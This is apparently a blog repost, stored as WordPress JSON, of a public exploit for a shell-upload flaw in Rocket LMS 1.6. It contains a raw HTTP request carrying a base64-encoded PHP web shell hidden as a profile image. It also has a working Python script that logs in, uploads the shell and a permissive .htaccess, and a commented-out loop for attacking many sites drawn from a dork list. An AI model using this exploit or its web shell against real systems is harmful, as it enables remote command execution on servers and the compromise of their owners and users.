{"id":30628,"date":"2022-09-13T23:02:02","date_gmt":"2022-09-13T19:02:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168348\/rocketlms16-shell.txt"},"modified":"2022-09-14T09:53:55","modified_gmt":"2022-09-14T05:23:55","slug":"rocket-lms-1-6-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/rocket-lms-1-6-shell-upload\/","title":{"rendered":"Rocket LMS 1.6 Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Rocket LMS &#8211; Learning Management System Shell Upload<br \/>\n# Exploit Author: th3d1gger<br \/>\n# Vendor Homepage: https:\/\/codecanyon.net<br \/>\n# Software Link: https:\/\/codecanyon.net\/item\/rocket-lms-learning-management-academy-script\/33120735<br \/>\n# Version: Version 1.6<br \/>\n# Tested on Ubuntu 18.04<\/p>\n<p dir=\"ltr\">base64 encode your payload<br \/>\nafter data image write your extension<br \/>\nupload<br \/>\n&#8212;&#8211;<br \/>\nThere is .htaccess restriction on rocket lms public folder upload your own htaccess to avatar folder first.<\/p>\n<p dir=\"ltr\">Enjoy!<\/p>\n<p dir=\"ltr\">&#8212;&#8212;-Request&#8212;&#8212;&#8212;&#8211;<br \/>\nPOST \/panel\/setting HTTP\/1.1<br \/>\nHost: localhost<br \/>\nContent-Length: 214<br \/>\nCache-Control: max-age=0<br \/>\nsec-ch-ua: &#8220;Chromium&#8221;;v=&#8221;103&#8243;, &#8220;.Not\/A)Brand&#8221;;v=&#8221;99&#8243;<br \/>\nOrigin: http:\/\/localhost<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/103.0.5060.134 Safari\/537.36<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nsec-ch-ua-platform: &#8220;Linux&#8221;<br \/>\nSec-Fetch-Site: same-origin<br \/>\nSec-Fetch-Mode: navigate<br \/>\nSec-Fetch-Dest: empty<br \/>\nReferer: http:\/\/localhost\/panel\/setting\/step\/2<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-US,en;q=0.9<br \/>\nCookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlBhNzBxQi96TVJwTm5KdEI0Ry9xUUE9PSIsInZhbHVlIjoiUE80Y2h6WlU2N3FjZDBaMldkZU1pcDg3ZmVLWitZSUxsQVBIc0lHdUV0ZkdtL2JYYzZ0Q2RsL1JSQXhVZWFJZGsrcGlOTGJ5Qk8zWWlTVDVWL3ZlNEY3NFpEc1RaT0NSVS9EL2lFWXQyTEtLQXlFR0RPVjREclI4QkMwdWRQb3hzcEtlZ1ZZanQ0ZDAyYWZOMjNjcWo1anFtSFdRdFYwY2laTlJLbnl2TjBVQWdKTlB6Uk4reWlJUTRNSmkrYkhXU1BJMmxpNU05TngxUklxNEM5azY0bFp4NVg2eHdwT1VSci9Od2RCQklsMD0iLCJtYWMiOiI2NzFjZDkxMDRlYWEyODBmMGUxNDg3YmFmZmQ0M2YwMzhlMmViNTYxYjk3YTZmNTk0YzA1MGFkOGY2YmFkN2I1In0%3D; XSRF-TOKEN=eyJpdiI6IjRqa1JIMXQrd0xuZW1za0FXR0lVbGc9PSIsInZhbHVlIjoidXlybG4rTlRraVpXV1dRSE5EWXcrYnVyZnpYUHRmSmpvQ0tuUUI3WEFDZU5HdWpsbXJBRi9WaStzWXVDNEJLa2UzT3BTSkdobzdPc0dUb0V1TzUyMGdPVHRHY3NNR0x2YlpVT1YxMy9DYXVIMGxERktaZXZtT1pPQUF4Y0N6U0IiLCJtYWMiOiI2MTAyMGJlZmFhNjk2ZWRiOWViYjVlZWNhOWUyYzFmYTJjNjdmYTdmZWNmY2ZhMTFjMTg3NmQwMDAxNjg1OTVjIn0%3D; rocketlms_session=eyJpdiI6Ik1yOGpZZmFGRnJMY1BBYkNBVUhYT1E9PSIsInZhbHVlIjoiOWkrN1JmUHhqc21qTlZqdytPdUJaSnpPQW0ybXNlVGpWLzViVzFpbHpheUF2QUJYRTJNUmpCaC9xZk5CRWg1eGpiVFZ4ejFOOTdLZ3NmNTkrQlhheTBBUGNVVDdPa3IvVWVSeTZ3RndxV2FRdWpWRnVvSHhzY2xKUjMvelB4dTAiLCJtYWMiOiIzNTdlNTNmNGNlMDFlMTU5NWVlOTQ1NjM0YjFjZGU4NWJmMTg5NzIzNmRhMTQxMzc4MDIyZGU2ZDM2N2JiODg2In0%3D<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">_token=vILAoLnB2BFEaF35K4kMmwLokzOPLMnryeYXQVzS&amp;step=2&amp;next_step=0&amp;profile_image=data%3Aimage%2FPHP%3Bbase64%2CPD9waHAgJGNtZCA9IHN5c3RlbSgkX0dFVFsnY21kJ10pOwoKZWNobyAkY21kOwo\/Pg==<br \/>\n&amp;cover_img=%2Fstore%2F995%2F7.jpg<\/p>\n<p dir=\"ltr\">Exploit:<\/p>\n<p dir=\"ltr\">import time<br \/>\nimport requests<br \/>\nimport base64<br \/>\nimport re<\/p>\n<p dir=\"ltr\">import traceback<br \/>\nclass Rocket:<br \/>\ndef __init__(self,ssl,host,port,email,password,file):<br \/>\nself._url_to_upload = &#8220;\/panel\/setting&#8221;<br \/>\nself._url_to_login = &#8220;\/login&#8221;<br \/>\nself.host = host<br \/>\nself.port = port<br \/>\nself.ssl = ssl<br \/>\nself.email = email<br \/>\nself.password = password<br \/>\nself.file = file<br \/>\ndef get_csrf_token(self,client,URL):<\/p>\n<p dir=\"ltr\">fromt = client.get(URL)<\/p>\n<p dir=\"ltr\">if &#8216;XSRF-TOKEN&#8217; in client.cookies:<\/p>\n<p dir=\"ltr\">csrftoken = re.findall(r'&lt;input type=&#8221;hidden&#8221; name=&#8221;_token&#8221; value=&#8221;(.*)&#8221;&#8216;,fromt.text)[0]\n<p dir=\"ltr\">return csrftoken<\/p>\n<p dir=\"ltr\">else:<\/p>\n<p dir=\"ltr\">print(&#8220;Error while fetching token&#8221;)<br \/>\nreturn<\/p>\n<p dir=\"ltr\">def login(self):<br \/>\nclient = requests.session()<\/p>\n<p dir=\"ltr\">if self.ssl == True:<br \/>\nssl= &#8220;https:\/\/&#8221;<br \/>\nelse:<br \/>\nssl= &#8220;http:\/\/&#8221;<br \/>\nURL = str(ssl+self.host+&#8221;:&#8221;+self.port+self._url_to_login)<br \/>\nURL2 = str(ssl+self.host+&#8221;:&#8221;+self.port+self._url_to_upload)<br \/>\ncsrftoken = self.get_csrf_token(client,URL)<br \/>\nfromt = client.get(URL) # sets cookie<\/p>\n<p dir=\"ltr\">login_data = dict(username=self.email, password=self.password, _token=csrftoken, next=&#8217;\/panel&#8217;)<br \/>\nr = client.post(URL, data=login_data, cookies=client.cookies)<\/p>\n<p dir=\"ltr\">self.upload_shell(client,URL2)<br \/>\nself.upload_htaccess(client,URL2)<br \/>\ndef upload_shell(self,client,URL):<br \/>\ncsrftoken = self.get_csrf_token(client,URL)<br \/>\nwith open(self.file,&#8221;r&#8221;) as payload:<br \/>\nto_base64 = payload.read()<\/p>\n<p dir=\"ltr\">to_base64 = str(to_base64).encode(&#8220;utf-8&#8221;)<br \/>\nbase64_encoded_data= base64.b64encode(to_base64)<br \/>\nbase64_encoded_data = str(base64_encoded_data)[:-1]\nbase64_encoded_data = str(base64_encoded_data)[2:]\n<p dir=\"ltr\">string = &#8220;data:image\/php;base64,&#8221;+str(base64_encoded_data)<br \/>\ndata = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img=&#8221;&#8221;)<br \/>\nr = client.post(URL, data=data, cookies=client.cookies)<br \/>\nprint(r.status_code)<br \/>\nif r.status_code == 200:<br \/>\nprint(&#8220;sent and uploaded shell :&#8221;+URL+&#8221;\\n&#8221;)<\/p>\n<p dir=\"ltr\">else:<br \/>\nprint(&#8220;couldn&#8217;t upload shell&#8221;)<\/p>\n<p dir=\"ltr\">def upload_htaccess(self,client,URL):<br \/>\ncsrftoken = self.get_csrf_token(client,URL)<\/p>\n<p dir=\"ltr\">string = &#8220;data:image\/.htaccess;base64,UmV3cml0ZUVuZ2luZSBPbgpPcHRpb25zICtJbmRleGVzClJld3JpdGVCYXNlIC8KQWxsb3cgZnJvbSBhbGwKPEZpbGVzTWF0Y2ggIlwuKD9pOnBocCkkIj4KICAgIDxJZk1vZHVsZSAhbW9kX2F1dGh6X2NvcmUuYz4KICAgICAgT3JkZXIgYWxsb3csZGVueQogICAgICBBbGxvdyBmcm9tIGFsbAogICAgPC9JZk1vZHVsZT4KICAgIDxJZk1vZHVsZSBtb2RfYXV0aHpfY29yZS5jPgogICAgICBSZXF1aXJlIGFsbCBncmFudGVkCiAgICA8L0lmTW9kdWxlPgogIDwvRmlsZXNNYXRjaD4=&#8221;<br \/>\ndata = dict(_token=csrftoken,step=2,next_step=0,profile_image=string,cover_img=&#8221;&#8221;)<br \/>\nr = client.post(URL, data=data, cookies=client.cookies)<br \/>\nprint(r.status_code)<br \/>\nif r.status_code == 200:<br \/>\nprint(&#8220;sent and uploaded htaccess:&#8221;+URL+&#8221;\\n&#8221;)<br \/>\nprint(&#8220;Go and rename file in filemanager on website&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;couldn&#8217;t upload htaccess&#8221;)<\/p>\n<p dir=\"ltr\">elon = Rocket(True,&#8221;localhost&#8221;,&#8221;443&#8243;,&#8221;student@demo.com&#8221;,&#8221;student&#8221; ,&#8221;\/home\/mm1nd\/Desktop\/shell.txt&#8221;)<br \/>\nelon.login()<\/p>\n<p dir=\"ltr\">#with dork<br \/>\n# try:<br \/>\n# with open(&#8220;sites.txt&#8221;,&#8221;r&#8221;) as urls:<br \/>\n# url = urls.readlines()<br \/>\n# ssl = True<br \/>\n# port = 443<br \/>\n# for line in url:<\/p>\n<p dir=\"ltr\"># try:<br \/>\n# if &#8220;sslyok&#8221; in line:<br \/>\n# port = 80<br \/>\n# ssl = False<br \/>\n# line = str(line.rstrip(&#8216;%0a&#8217;))<\/p>\n<p dir=\"ltr\"># print(&#8220;trying:&#8221;+line)<br \/>\n# elon = Rocket(ssl,line.rstrip(&#8220;\\n&#8221;),str(port),&#8221;student@demo.com&#8221;,&#8221;student&#8221; ,&#8221;\/home\/mm1nd\/Desktop\/shell.txt&#8221;)<br \/>\n# elon.login()<br \/>\n# time.sleep(1)<br \/>\n# except Exception:<br \/>\n# #traceback.print_exc()<br \/>\n# print(&#8220;atamadim&#8221;)<\/p>\n<p dir=\"ltr\"># finally:<br \/>\n# print(&#8220;okey&#8221;)<br \/>\n# except Exception:<br \/>\n# print(&#8220;atamadim&#8221;)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Rocket LMS &#8211; Learning Management System Shell Upload # Exploit Author: th3d1gger # Vendor Homepage: https:\/\/codecanyon.net # Software Link: https:\/\/codecanyon.net\/item\/rocket-lms-learning-management-academy-script\/33120735 # Version: Version 1.6 # Tested on Ubuntu 18.04 base64 encode your payload after data image write your extension upload &#8212;&#8211; There is .htaccess restriction on rocket lms public folder upload your &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30628","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30628"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30628\/revisions"}],"predecessor-version":[{"id":30694,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30628\/revisions\/30694"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}